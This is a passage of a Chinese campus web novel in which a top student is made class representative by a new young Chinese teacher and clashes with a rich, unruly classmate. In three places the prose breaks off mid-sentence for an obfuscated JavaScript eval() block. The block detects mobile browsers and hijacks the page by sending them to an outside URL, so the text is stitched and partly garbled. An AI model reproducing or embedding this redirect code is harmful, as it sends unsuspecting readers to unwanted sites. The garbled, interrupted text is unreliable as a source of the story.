班上的同学期待他的第一堂课,那天他穿着白色的衬衫,规矩地扎在皮带里,站在讲台上时,腿比机柜高出很长一截。 他弯着腰,双手撑在机柜上,说话时带着浅淡地笑容,“我这两天仔细分析了全班的成绩,发现有位同学的成绩还挺有意思的。” 他的眼神大方地在全班扫视,“陈亦佳是哪一位啊?” 陈亦佳头皮一紧,很缓慢地举起手,邱宇发现他要找地人就在第一排,把目光诺回来,很近地跟陈亦佳对视,“怎么什么都考得好,就语文成绩不行啊?” 陈亦佳被这目光看得有点不好意思,不知道是不是被晒得过敏了。 过了一段时间,邱宇又说:“从今天开始,你来当语文课代表好吗?” 陈亦佳是不太愿意的,当课代表需要收作业,回浪费很多时间和精力;但是面对这么一位年轻的、优秀的、温和的男性老师,陈亦佳不知道怎么拒绝。 就在这时,最后一排的蒋南行站起来,“不是,老师,我没惹你吧?你怎么一来就撤我职啊?” 4. 第 4 章 蒋南行已经当了两年的语文课代表了,这还只是在高中,具不完全统计,具蒋南行上学以来,他就一直独揽这个职位。 陈亦佳无意当什么班委干部,因为从底层逻辑来看,当班干部、课代表什么的只会占用时间,她既不喜欢跟科任老师建立关系,也并不能感受到陶醉于站在讲台上被人注视。她举手说:“老师,不然就让给他吧。” “什么叫让给我?把自己的东西给别人才叫让,你要是把第一名给我才叫让。”蒋南行仰靠在椅背上,大腿塞不到桌子底下;他的眼尾是下垂的,眯着眼时眼睛形成一道又长又浓重的痕迹,好像无论闯了什么祸都无所谓的桀骜感。 王老师走了之后,班上处于一种这个老师拼几节那个老师拼几节的状态,本就极度混乱。邱宇才上没多久的课,匆匆忙忙接手过来,唯二欣慰的是作为数学老师的班主任为他极度放权,再有就是这毕竟全年级成绩最好的班。 只是再好的班级都有关系户,都有未经教化的刺头。 邱宇靠着“名校博士”的身份一直受到都是表扬,一时没反应过来怎么应对,便听到陈亦佳纠正自己的说法,“老师,我确实不如他适合,还是让他继续当吧。” 陈亦佳说得一脸真诚,不是反话;再看过去,蒋南行似乎准备了一大筐的嘲讽等着辩论,但被噎住,有点憋气都看着窗口。 本来应该就这样的,但是邱宇对年级第一的培养有自己的计划。 “我很高兴有同学积极当课代表,我记得以前我上学的时候学班委,大家都是推三阻四的。但是呢——”他停顿了会儿,温和地笑说:“你看班级里的陈亦佳同学,她各科都很拔尖就是语文欠了点,当课代表可以让她集中更多的精力,不然你和她一起共同当课代表,你看这样行吗?” 陈亦佳垂着头,耳朵红红的,再拒绝她就真成了推三阻四的人了;寄希望于蒋南行多争取一会儿,又听到他说:“行吧。” 在匆匆忙忙连滚带爬的高三,这个念了名校博士的邱宇的确是一鼓清流。大家把夏天整日几套班服换着穿,老师邱宇则爱穿浅色的衬衫,开了空调也一股燥热,只有上到语文课时会通感到一股清凉。 其他科的老师不然就是拿着电子笔板书一节课,或是撅下一半粉笔随机打个人,另一半写一整节课,只有刚来的邱宇会制作精美的PPT,不仅将考点,里面还有很多增补内容。有他在念书时去博物馆拍的文物照片,还有他旅行时穿着少数民族服装,干净的脸颊上画着油彩,背景是经幡吹动。 很长一段时间,陈亦佳都觉得上语文课看那些图文并茂的课件,好像想象中的风也吹进珠沙那个燥热的、沉闷的长夏。 邱宇挂在学校门口的铭牌上也有他的出生年份,算起来不过二十八岁,比陈亦佳大不到十岁,相处下来,和这帮皮猴更加没什么代沟。 此外,他还在课上给大家讲些交心的内容。他说语文是一门很有诗意的学科,只不过是考试的机制让它变得功利。 他问大家觉得学语文是学什么。 邱宇看起来实在没什么架子,他鼓励大家畅所欲言,答案有:学会考试、学会认字、学会读文言文、学会写一篇文章…… 轮到陈亦佳时,被记录在黑板上的答案已经千奇百怪,但是也没关系,那些不是她的答案,她说:“可以学一些做人的哲学。” 班级里安静了一瞬,随即起了一些憋着的哼笑生,陈亦佳扭过头观察情况,她深知自己没有什么幽默细胞,只有犯错出丑的反应能供大家一乐,果然她一转过头去,那些憋笑声则逐渐转变为放声大笑。 既“磁场是虚拟的”、“多夫多妻、鼓励离婚”之后,陈亦佳又弄出了新的笑话。 她也是过了一会儿才反应过来,说这种话,类似于中二少年在公众场合大喊“不要小看我们之间的羁绊啊”。 有点尴尬。 她觉得很多时候自己的本能反应并不符合社会的主流标准。 邱宇在大家笑完之后,也撑在多媒体机箱上,捂住嘴温和地笑了几声。 不知道他是被陈亦佳的发言逗笑了,还是被大家都笑起来这种氛围感感染到了。 尽管邱宇的笑容让哪个瞬间不那么难过,但她同样希望这个瞬间赶紧过去,她一边默默记下这种答案以后不能在公众场合出现。 等待这种时刻过去的瞬间如同在列车经过隧道,等待光明,知道黑暗的时候短暂且必将过去,但心里也会将那个时间无限延长。 “好了好了,我们继续听听别的答案。” 列车已经驶过隧道,那个瞬间已经翻篇。 邱宇都预备板书新的内容了,从后排又传来一个高亢的声音,“邱老师,学语文怎么就不能学习做人的哲学了?” 大家转过头去,见蒋南行仰靠着椅背,一只脚踩在斜杠上,把桌子顶起来。 班级里又重新爆发出一阵笑声。 “绝了,二次元聚会了。” 蒋南行那些套娃朋友开始打趣他,“一个中二少年是神神叨叨的,一群中二少年就是热血番。” 陈亦佳闭眼叹了口气。 可能对蒋南行来说,被人审视并不等同于隧道时间,他很这样的时光。 似乎是上学期临近期末,数学老师组织了晚自习考试,那时陈亦佳正在计算椭圆公式,脑袋周围一圈的空气都是热热的,大家都做得满面倦容,后排突然想起了有个男生的哼歌声,“小城故事多……” 大家纷纷转头回去,音源蒋南行正转着笔,看起来读题读得十分愉快,塞不进课桌的腿支在一旁晃悠晃悠的。 班级里响起一阵爆笑,蒋南行从沉浸的氛围中拔出来,看到数学老师拿着教鞭走过去,教鞭也一晃一晃的。 蒋南行立即行了个致歉礼,又很讨好地笑了一下。 班级里又响起一阵爆笑,那个迂腐的老头也笑出来,拿着教鞭又回到讲台。 “行行行。”邱宇也跟大家一起笑了一阵,把他们羞耻的答案记到黑板上。 邱宇经常在课堂上提起他喜欢一个作家,说他最喜欢的书叫《文化苦旅》,读完书后自己也有了行万里路的执念。 他讲到自己出生在别的省市,然后辗转多个地方求学,每一步都看到了不同的风景。 陈亦佳听得很认真,她生于珠沙,十八年来都在这里长大,从来没有出过这个省份,邱宇说的文化苦旅让她心动,好像用双脚去感受土地,也在她的脑子里种下一颗种子。 语文是一门既有思辨,又带有感情的学科,他说他硕士研究论文写的就是现有考试机制让聪明有创作力的孩子为了得高分而写出流水线的东西。 讲到这时,后排的有个套娃高高举手,他问:“邱老师,你说聪明人为了得高分而写出流水线的东西,那蒋南行写的算啥,我觉得不仅不流水线,还挺牛逼的。” 大家被他的话指引去看蒋南行。 那人的位置在教室最后排,椅子拉得很开,他很长的腿大开着,下半身保持着大马金刀的坐姿,上半身仰靠在椅背上;那是个很懒散的姿势,又因为蒋南行的骨骼实在舒展而端正,导致那看上去是一个既端庄又不太端庄的坐姿。 他没有一点被夸的不好意思,沉默着看邱宇,好像也对这个答案挺感兴趣。 陈亦佳也看着他,其实她也挺感兴趣。 因为蒋南行的东西确实牛逼,但可不可以理解为,他的语文成绩是牺牲了其他各科成绩为代价的,但是不是每个人都有资格做出这些牺牲,所以只能写出最优性价比的流水线的东西。 但是又但是,如果真的能够做出那样令人震撼的东西,其实有一些牺牲也是可以的。 这个应该怎么平衡? 陈亦佳很想听听博闻强识的、饱览群书的邱宇来解读一下蒋南行的逻辑。 邱宇已经足够社会化了,他回答说:“通过我的观察,蒋南行同学是非常聪明的,就是心思不放在学习上。” 显然,他总有办法巧妙地绕开这种杠精问题。 陈亦佳还是略微有点失望的。 蒋南行也“切”了一声,陈亦佳马上又转换阵营了。她觉得邱宇年纪不大,本来上班就已经很烦了,愿意给她们传授一点考点之外的东西已经很负责。可能蒋南行的逻辑就是不讲武德。 况且以前王老师在任时,蒋南行虽然也经常插科打诨,但绝对不如现在这样杠精,总结起来就是不讲武德的人,不能引起他的注意。 得出这个结论很大程度影响了陈亦佳的工作效率。 邱宇别出心裁的授课方式如果由副作用的话,首先就是作业五花八门的。邱宇让他们写周记,说和日记一样的写法,不用在意写的是不是议论文。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136094|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他说年轻的时候正是表达欲旺盛时,这时的想法应该被记录下来。周一一下课就叫:“辛苦课代表把周记收上来。” 首先受苦的就是这个语文课代表。 以前都是组长收齐作业交到蒋南行那儿;这会儿人家不愿意干了,陈亦佳亲耳听到小组长让蒋南行赶紧收作业,蒋南行一边吃面包,抬头跟陈亦佳对视一眼,又没什么什么表情地低头看手机:“不是还有个嘛?” 陈亦佳以为他不高兴,于是自己去把作业收了。有点浪费时间,而且她不爱动,教室里放满了挨挨挤挤的书箱,起身都很麻烦。早上很困,第一节课的课间不能拿来学习,也不能拿来睡觉,她憋着不高兴起来,差点就被绊倒,身后有人捏住她的手臂扶了她一把。 陈亦佳闻到一股淡淡的香味,像清晨占了露水的树木。 “还困呐?晚上早点睡觉。”是邱宇的声音。 陈亦佳的怒气迅速消散,她道谢后抱着七十多本笔记本去了邱宇的办公室。 她就这样干起了语文课代表的活。每天早上牺牲第一个课间的时间,拿到作业去语文办公室。她穿着夏天的板鞋和运动裤,敏捷地抬腿跨过横陈在走廊上的书框,垫着板鞋去寻找书框中的空隙,每次看着自己的鞋尖,她都会想:去见邱宇好像是一件需要翻山越岭的事。 那些年还比较看资历。学校的语文老师无论男女,都是一副家长十分信任的样子,不修边幅,上课拿着一张卷子放在投影下就可以讲一节课。 邱宇的工位整整齐齐。他是整个办公室里唯一会在办公桌上放上几个规则文件夹的人,蓝色夹子里通常会有几本余秋雨的书,陈亦佳在里面看到他提过的最喜欢的《文化苦旅》。他的板书是端正的瘦金体,他唯一会给自己的电脑配上淡蓝色的鼠标垫。 陈亦佳站在办公室门口喊报告,大半张脸被掩藏在一摞很高的作业本前,细瘦的手臂上,纤薄的肌腱绷得死紧。 每次到办公室时,邱宇总是在忙,但他会在陈亦佳喊完报告时,不看人就回一句:“请进。” 于是陈亦佳走进办公室,站在邱宇身侧。 她从小就被教育得极为守规矩,老师没有指示她作业改放在哪儿,她就绷直地站着,一厚摞作业本抵在小肚子上。邱宇正在阅读文件,陈亦佳知道,“老油条”们会交给新鲜人一些琐碎的工作,这是职场潜规则;她偏了点脑袋看见邱宇阅读文件,手指搭在鼠标上,微微屈起来,滑动,认真地翻完一页,才转过身。 恍然发觉自己的课代表来了一样,“哦哟”了一声,立即站起来接陈亦佳手里的练习册;陈亦佳又闻到木头的味道。 这些天收上来的作业实在很多,办公桌上已经没有放的地方,他们只好把作业本放在一边的地面上。 邱宇转头笑着说:“辛苦你了。” 有天,陈亦佳送完作业转身离开,听到坐在邱宇对面的别班老师说:"你的课代表声音很好听啊。" 邱宇带着笑意说:"是的,是很甜美的。" 陈亦佳转头瞥了一眼,邱宇带着眼镜,侧脸的线条柔和清晰,带着浅淡的笑意在翻看他经常提到的那本书。 那个画面在陈亦佳脑子里存了很久,那段翻山越岭的旅行也变成了一段甜美的旅程。 语文作业一般就是卷子、周记、练习册之类的。 卷子没问题,周记本也还行,但七十几个人的练习册就有点吃力了;陈亦佳不得不分两次抱到办公室。 有次,她放下作业,甩了甩胳膊往外走,邱宇叫住她:“课代表同学。” 陈亦佳停住,转身,问:“老师怎么了?” 邱宇还维持着读文件那个姿势,手指放在鼠标上,微微转身,问:“之前班上的课代表是个男孩儿吧?” 陈亦佳点了点头。 邱宇又说:“太重的话,下次请他帮你吧。” 陈亦佳很迟钝地反应了一下,又迟缓地点了点头;看见邱宇转过身她也走出办公室。 叫蒋南行帮忙那是绝不可能的。 一来是陈亦佳实在是宁愿多跑一趟也不愿让人帮忙的闷驴;二来是陈亦佳觉得蒋南行这个人,不太遵守人与人之间交往的既定规则,与他交流就好像染上了苍耳子,一不小心粘在衣服上就得费心费力去薅,麻烦;再有就是陈亦佳私心不想让她的砂糖时间里掺进砂子。 5. 第 5 章 那是一个周五的下午,我审视自己时发现了一座深渊,并且它也期待被发现。 -------《境外》 ………………………………………… 出去月末的那周,其余每周都只有半天的假期。 陈亦佳纠结半晌,看着那天稍微凉快点才出门。坐了两站公交,喝掉半瓶苹果醋,她到了一家名叫"金博斯"的书店,这是本地最大的一家书店。 陈亦佳很少来这里,学校外面就有书店,主打教辅资料,老板对她们的考试机制了解得分外透彻,服务精准。 陈亦佳来这里就是图没有熟人会来。 一般语文的必读课外书会含有一些分值,这是必须的,加上英语老师布置的每天一篇阅读理解或者完型填空,陈亦佳实际会做一篇完型填空和三篇阅读理解,她在这方面的练习题一般会别比人消耗得快。 一进门就有点被震住,“金博丝”大得堪比商场,各年龄阶段的人都有,各式各样的暑假高耸,有点中欧古堡的气质。 门口大厅中挂着几张花花绿绿的海报,推广新到的畅销书。陈亦佳的板鞋踩在地毯上,声音被完全吸进去。 她按照指示在五花八门的资料中迅速找到想要的英语习题,结完账又在门口的机器走,小心地在面板上输入"WHKL"几个字母,然后在最后一排找到目标,文化苦旅在书店的"名人散文"分区。 陈亦佳的目光在书店里逡巡一圈,终于在一个角落里找到目标,她拽着书包带走过去。 书店的地板光洁,两排是高耸的书架,越往里走人越少,名家散文那一片区域倒是没什么人光顾。 陈亦佳又觉得,那好像是一条空旷又茫然的道路。她顺着字母和数字找,终于在这个分类的最后一排找到目标。 就在要伸手是,忽地有个声音叫住她:"陈亦佳?" 陈亦佳忽然头皮一片空白,周遭的高耸的书架好像虚化,蒋南行靠在书架上,两条腿长得夸张。 陈亦佳下意识收回上,目光上移,对着蒋南行的脸,说了句“哈喽。” 蒋南行站直扫了她一眼,咧开一边嘴唇笑着,漏出一颗尖牙,"陈亦佳你来买书?" 陈亦佳感觉脚底传来瓷砖的冰凉,她点点头,"嗯"了声,准备转身向前走。 "你来这儿买书?不去开在学校里那家小卖部了?" 陈亦佳说:“那边的阅读都刷完了。” 蒋南行比了个大拇指,“我就说,你不是应该在那边买书嘛?”他抬着下巴点了下入口处的学习资料区。 这是在打趣她是书呆子呢,陈亦佳一点也不中招,反手用手臂触了下书包里的两本习题,如实说道:"嗯,已经选好了。" 话说到这里,她以及准备走了。 蒋南行突然问道:“那你在这儿干嘛?迷路了啊?”说完随意抬眼一扫,以蒋南行的目光正好对上那本书,那个动作让陈亦佳心里"咯噔"一声,产生了一种即将大难临头的不安感。 “我随便看看。”陈亦佳立即往前走了一步,好像还冲他挤出了个微笑。 "噢,那你----"蒋南行果然被转移了注意,见陈亦佳直直地杵在原地,有点紧张地看着自己,忽地想到了什么,单侧脸笑变成了双侧笑容,露出了极为对称的两颗尖牙,“你是不是也看到门口的海报了?” 陈亦佳“啊”了声,往门口看去,占据C位的海报上写着“日本推理经典全新修订译本!江户川乱步《人间椅子》重磅再版!” 蒋南行把手里的书递到她面前,弯了点腰,很高兴地说:"你是不是也是冲着它来的?" 那本蓝色的封面上有把红色的椅子,书名就叫《人间椅子》,作者叫江户川乱步,腰封上写着“昭和怪奇美学”。 蒋南行看她反应还很慢,人也很僵直的样子,笑着说:“怎么?喜欢这种东西你自卑啊?” 陈亦佳没看过这个类型的书,但是看那个造型觉得应该有些猎奇,不知道说什么。 蒋南行又问:“不是来找这个的。” 陈亦佳说:“我就是随便看看。” “随便看看啊?”蒋南行听到她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136095|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半推半就地承认,挑了下眉,又恢复了单边笑容,有点幸灾乐祸地叹了一口气,"可惜了,你说畅销书为什么叫畅销书呢?就这么最后一本了。" 陈亦佳木楞楞地“啊”了声,心里想:既然这样,那你赶紧把它买走吧,又听蒋南行说:"我时真服了你了,你着什么表情啊?想要不知道早点过来啊?要不是我想在这儿看,早就买走了我。" 陈亦佳疑惑地看他自言自语。 蒋南行又看到她的表情,“行了,让给你行了吧。我这第一个故事都还没看完。” "让给我吗?"陈亦佳指了指自己,小声怀疑到,随即又连连摆手,“不用不用,你快去结账吧。” "行了."蒋南行往前走了几步,专横地把书往陈亦佳胸口一递,“别嘴硬了,学霸一周就休息这么半天,让给你了,我可以逃课来。” 陈亦佳哈哈地笑了两声,手里拿着书,很想放下,但是蒋南行一转头就能看到那本黄色封皮的《文化苦旅》。 她一咬牙拿着书转身,想着拿去柜台说不要了。心虚地走了几步,突然又听到蒋南行在后面叫她“陈亦佳----” 他又要了?陈亦佳吐出一口气。 “畅销书嘛,也不一定过两天就能买到,要是没买到你就借给我看啊。”蒋南行笑着说。 陈亦佳的下巴合不上,哭丧着脸,拿了书去结账,收银员把找零递过来时,陈亦佳想:畅销书真的好贵。 她近期都别想买另外一本了。 在全力刷题的日子里,陈亦佳不太放纵自己看课外读物;再次拿出那本书已经是月末的周五。 那天放月假回家,陶立芝又在上白班,忘了给她留钥匙,超市里陈亦佳的家并不远,她可以来回花半个小时拿钥匙,但是那天她想起了放在书包里的书,那正是一个消磨时间的好东西。 她蹲在家门口的小凳上,看得非常投入,从书里抬起眼时,天空已经从橘黄色转变为深灰,看起来即将迎来一场夏季的大雨。 畅销读物吗? 喜欢这些故事的人这么多? 6. 第 6 章 陈亦佳看着那些故事,好像在生活中找到了一个气口,她的压力隐隐地从其中流泻出来。 但感觉上又有些不对,她拿着那个看不到图片的老年机搜索《人间椅子》时,只是弹出来一些诸如“很恶心”“我在看些什么东西”之类的评论。 后来陈亦佳攒够钱又去了一次“金博丝”,没有遇到来蹲新一批畅销书的蒋南行,她很顺畅地购走想看很久的《文化苦旅》,畅销书的海报已经更换,仿树屋的书架的纹理似乎跟记忆中有些不同了,周遭是她不认识的小孩、退休老人和抱着电脑的上班族,蒋南行靠过的地方放了很多本新的《人间椅子》。 好像“畅销”“很多人看”都是一场幻觉。陈亦佳背着书包,经过书店前的玻璃,高大直耸的窗玻璃将她的身影印得像蚂蚁;她细看自己的形象,是朴素的、矮小的,胸口的地方隆起来,显得校服的质感很差。 …… 《文化苦旅》的阅读体验很不错,可能是因为其中的辞藻过于美丽,导致陈亦佳觉得“苦旅”并不苦,甚至有些沧桑和震撼;她把自己的感悟记在了笔记本上,抱着一大摞周记本给邱宇的时候,她的心跳也很快。 陈亦佳想要的回馈来得很快,去拿周记本时,邱宇把一厚摞递给她,推了下眼镜,笑着问:“课代表同学,你也读了文化苦旅吗?” 陈亦佳点了点头。 下一堂就是语文课,他们边走边聊,邱宇说:“很开心你们能看我给推荐的书。你周记里写到的苦旅不苦这个观点,我非常得同意,其实放长远来看,历史都有一种悲剧性的震撼和美感。可以尝试一下去欣赏这种美,你的感悟会更深。下次周记还可以再深入写写,一样的,我的要求不是议论文,畅所欲言。” 畅所欲言吗?陈亦佳不知道是不是自己表达不够精准,可能是这样的。因为她的“苦旅不苦”只鲜少地提及到了几句,她更想表达的是个人沉重的、漫长的苦难好像放在历史中就成了一首悲伤而美丽的歌曲一样被人欣赏,那是一种很难言说的感觉。 但是陈亦佳的感觉总是不对,她不敢再多说什么。 他们走到教室,上一堂课的班主任刘老师还没走,老头子半眯着眼睛跟只老猫一样靠在机柜上跟学生插科打诨,看到邱宇时挺酷地点了下头,一个数学老师在跟他们讲电场题,他们进去时,正听到他说凡事先列公式。转眼看到抱着一大摞作业的陈亦佳时,起身“哎哟喂”了一声。 陈亦佳被吓了一跳,倒不是害怕老师,有点像看到熟人要变异那种陌生感。 “哎哟喂,邱老师你让陈亦佳一个人抱这么多,她才那么点儿高。” 班级里响起了哈哈笑的声音,邱宇推了下眼镜,笑得有些不好意思,“考虑不周”,在陈亦佳把作业放到机柜上时搭了把手,然后更考虑不周地把陈亦佳的手指都压在下面。 刘老师又说:“机柜都给压弯了,陈亦佳抱着走路都窜得跟喝多了一样,那你们收练习册的时候怎么办?” 哪有那么夸张,还窜的,又不是小脑坏了。 邱宇笑着推了推眼镜。 有同学说:“课代表要分两次。” “造孽啊!”班主任看了陈亦佳一眼,问道,“之前不是蒋南行吗?蒋南行不好吗?个高又能出力气。” 话音刚落,就听到教室外面响起一声,“语文吗?语文不逃,逃数学,早点走!”蒋南行往门口走,还甩了甩汗湿的头发,一转过头就看到两个老师和哄堂大笑的同学,他懒懒散散地伸手搭上门框,问:“干嘛呢?” 刘老师说:“你要逃数学?” 蒋南行没说话。 刘老师问他:“怎么又不当课代表了?” 蒋南行往陈亦佳他们那个方向瞟了一眼,掏出纸巾挺有作派地擦头发,“人也没让我当啊。” 邱宇推了把眼镜,说:“其实是有两个课代表的。” 陈亦佳感觉蒋南行的目光从邱宇脸上又挪到她的脸上,说:“我也没说是你啊。” “胡说八道。”刘老师拍了下他那根网购的“金教鞭,“还能是谁不让你当?你说陈亦佳不让你当啊?她抢着跟你收作业吗?有时间不够浪费的。” “你说的什么话?”蒋南行的手指还夹着纸巾,立马就不优雅地嚷嚷,“你都觉得是浪费时间了还让我去?凭什么?她的时间要金贵点是吧?” 刘老师说:“就凭别人的时间拿来学习,你的时间拿来浪费。” 蒋南行说:“我自己的时间我有权利决定拿来怎么浪费。” 刘老师说:“你想怎么样就怎么样?把你外公叫来让他看看你有什么权力?” “你缺不缺德,讲不讲理?说不过就要请家长,你就是个滥用职权的狗官。” “嘿—我去—”刘老师被气得嘴角直抽搐,谁不知道刘老师是学校工龄最高的那批,同龄人都捞了各种领导当当,就他孑然一身,名牌上只有“优秀班主任,教学经验丰富”几行字,他在大家的哄笑声中把教鞭拍得啪啪作响,“你到底抱不抱?” 蒋南行又夹着纸巾在额头上按了按,“拒绝。” “别人不让你抱你就不抱,我让你抱你就不抱,你怎么那么听她的话?” 蒋南行一时语塞,“什么玩意儿?” 班级里又响起了哄笑声,陈亦佳举起手,“老师,我可以说句话吗?” 她转眼看了下蒋南行,“老师,我没有不让他抱,我以为是他自己不高兴抱。” “听到没?人家没有不让你抱,是你自己不高兴抱。” “我什么时候不高兴抱了?” 抱来抱去的,当事人几个没觉得有什么,下面的人早就起哄笑成一锅粥,刘老师的教鞭在机柜上敲了几下,说:“安静,上课了,这件事情就这么定了。” 陈亦佳脸颊发热,回到座位上,注意到蒋南行的目光还在她的脸上,不知道是幽怨还是什么,她装作没有看到。 ………… 以为蒋南行后面还要发作,要阳奉阴违的,陈亦佳其实都已经做好准备了,就那一节课下课时,邱宇让收作业,陈亦佳回了句“好的”边抓紧时间开始做剩下的几道题,蒋南行自己上去开始收作业了,他的动作很纯熟,他拿着自己的试卷,到第一排敲敲桌子,“都别写了,赶紧传上来。” “过时不候啊,晚了就自己去交。” 这种时间,大家都在争分夺秒地写课上留下来的题,被他催得烦得不行,极不乐意地把本子往上递。陈亦佳坐在第一排,试卷以很快的速度传上来,蒋南行来到她面前拿了试卷,看到陈亦佳还在低着头写卷子,说:“走啊,还写呢?以身作则。” 陈亦佳是个很讲理的人,这种情况下是应该跟蒋南行一起上去,于是他们一人拿着一摞卷子就往邱宇的办公室过去,一前一后什么也没说。陈亦佳的手从负重中解脱出来,手指间像是有风穿过。 陈亦佳和蒋南行就这样开始了共事的日子,有利有弊。 好的是,蒋南行在出力气这方面还是很大方的,试卷分一半给陈亦佳拿着,笔记本练习册也只抽出几本给她意思意思,而且他精确地装了定时器,在收作业时都非常准时;高中的作业多又杂,其他学科不会有这么多花里胡哨的作业,每天早上都收不齐。以前陈亦佳一个人工作的时候,还有人经常跑来求求她不要告自己的状,说会在补完作业后偷偷塞进去,导致陈亦佳有很多次拿着差十几份的作业,心惊胆战地跟邱宇说够了。蒋南行负责了这个过程后边没有这种烦恼了。 不好的就是,陈亦佳那段自以为的甜蜜旅程已经就此终结。蒋南行他们这种先天就能吸引别人目光的人几乎夺走了邱宇的所有注意力。他顺口一提就能帮邱宇解决“在哪里宴请领导”的头疼问题,能跟邱宇讨论鼠标垫上的新款球鞋——对,那也是从蒋南行口中得知的,邱宇鼠标垫上的竟然是一双知名品牌的白球鞋。 算起来,陈亦佳觉得她和邱宇因为《文化苦旅》建立起来的那点共同语言简直飘渺。 但人不能总考虑坏的地方吧。蒋南行还是有很大用处的,因此陈亦佳起初并没有排斥他,况且因为成了几乎要朝夕见面的人,他的形象也逐渐从一个大套娃的轮廓中清晰起来。 连同每次跟他厮混的其余套娃人士,也有了一些初步的印象,其中陈亦佳比较熟悉的,被她记作套娃二号的人叫崔俊恒。 崔俊恒是跟蒋南行走得比较近一个,他个人的突出特点就是长得稍微圆润一些,体育课的时候不运动。那时候公立学校的一个班级就有六七十个人,从讲台上看着乌泱泱地挤满了,即使是在年级最好的班级,教室前后也是两个截然不同的生物圈。前排的男生女生通常更瘦小、规矩,善于埋头写作业;后排的人在不知不觉中站起来已经比成年人高一头,他们玩手机吃零食,计划放学路上的活动。 两个世界通常是不相通的,只有在中午和下午、还有体育课这种人少的时候,才能听到后排的同学说话。 其中在这个时候声音最大的就是崔俊恒。自从注意到崔俊恒后,陈亦佳也有默默听过几次他的发言。 他讲他遍布各个年级的女友和前女友,总结女生喜欢的课外活动,喜欢买的衣服和喜欢逛的甜品店。这类话题往往都还能吸引到女生的参与。 除此之外,他的话题还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136096|196289||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒋南行。他说和蒋南行打小认识,蒋南行家里是暴有钱,比如他打篮球时挂坏袖子那件衣服就是Burberry的。 陈亦佳还在拼Burberry是什么莓时,话题又转换了。崔俊恒说蒋南行出生在首都,初二时才跟着外公回到珠沙念书。 崔俊恒说蒋南行也是单亲,她的母亲是工作狂,把孩子扔给家教保姆,严格军事化管理,他都七岁了还没摸过手机。长大点觉得还是要接触社会又把人送到费用昂贵的托管私立,一个月后把他带回家验收学习成果,发现蒋南行眼睛又红又肿,细问才知道他在学校玩别的小朋友的手机玩得眼睛发炎。他的母亲心里愧疚,放松管理,他在短短几年的时间迷上了芭比公主、奥特曼,后来又迷上火影忍者。 这么一说,陈亦佳的有些记忆就都活过来了。 好像是高一那年,有个个子挺高的男生总是迟到,每次他站在教室门口喊报告时,老师很生气地让他外面站着,他就酷地一转身,身后的大包印着火影忍者几个大字,一个黑白的人影,冷着脸,头发束得像一把拖把。 陈亦佳刚想到这里,就听崔俊恒讲到这里,他一拍大腿,笑着说:“后来他为什么换了书包?因为我们去逛商场看到有个小孩儿撒泼打滚,缠着他妈给买,哈哈哈同款佐助。小蒋少爷当时脸色苍白,马上去买了一个新的。” 陈亦佳听得也笑起来,她听到几个女生也呵呵笑起来。 后来,崔俊恒还讲了后续,他说蒋南行的母亲是鸡自己不鸡娃的个性,看着蒋南行学不了多少东西也就由着他去了。真正有一次他们生起气来是因为蒋南行的外公外婆从珠沙去看他们,蒋南行便说他的外公是黑心的资本家,吃人肉喝人血,向来温和儒雅的蒋良达被气得心绞痛,揍得蒋南行上蹿下跳;蒋南行的妈妈才引起重视,第一次找去了学校。 蒋南行及其他的朋友们都被老师整顿过,不准再出现这种谈别人家庭的事。他就又这么混了几年,后来有次,蒋南行跟同学一起弄佐助模仿秀,从舞台上摔下去手臂骨折,蒋良达从珠沙赶过去,一个电话把正在单位的女儿叫回来,跟她大吵一架,责怪她不负责任,说要把蒋南行接到珠沙上学。 那时蒋南行和他妈都没同意。 蒋南行的外婆去世一年,蒋南行的母亲告诉他,说外公一个人在珠沙过于孤单了,问他愿不愿意去陪他。那时小蒋南行产生了一种自我牺牲的英雄主义,即使舍不得他的兄弟们,还是向他的好友们长信告别,用他那时已经初现端倪的语文天赋给每一位朋友写了告别长信。 来到这边又上了一年学,有天他们课间出操,目睹了一位学弟被激哄从楼梯上跳下去,他们那时年纪还小,被吓得赶紧叫老师。 那天蒋南行一直心不在焉,崔俊恒以为他还没回过神,结果坐在后排的蒋南行忽地砸了一下桌子,说:“我去!原来表演那天他们故意拆了桌子,垃圾!” 就这样,蒋南行在遭受了多年的校园暴力后的一年,才突然反应过来;他并没有难过多久,因为他那个阶段也在自己的世界里过得活色生香。 不过他来这儿,接受的就是完全不一样的待遇。蒋良达是珠沙的名人,更是学校的资助者,他不像蒋南行的母亲要在儿子的学校隐藏身份,反而会来给蒋南行开家长会,会让家里的司机接送蒋南行。即使迟钝的蒋南行,在有外公这个名人护航,也没人再敢欺负他。 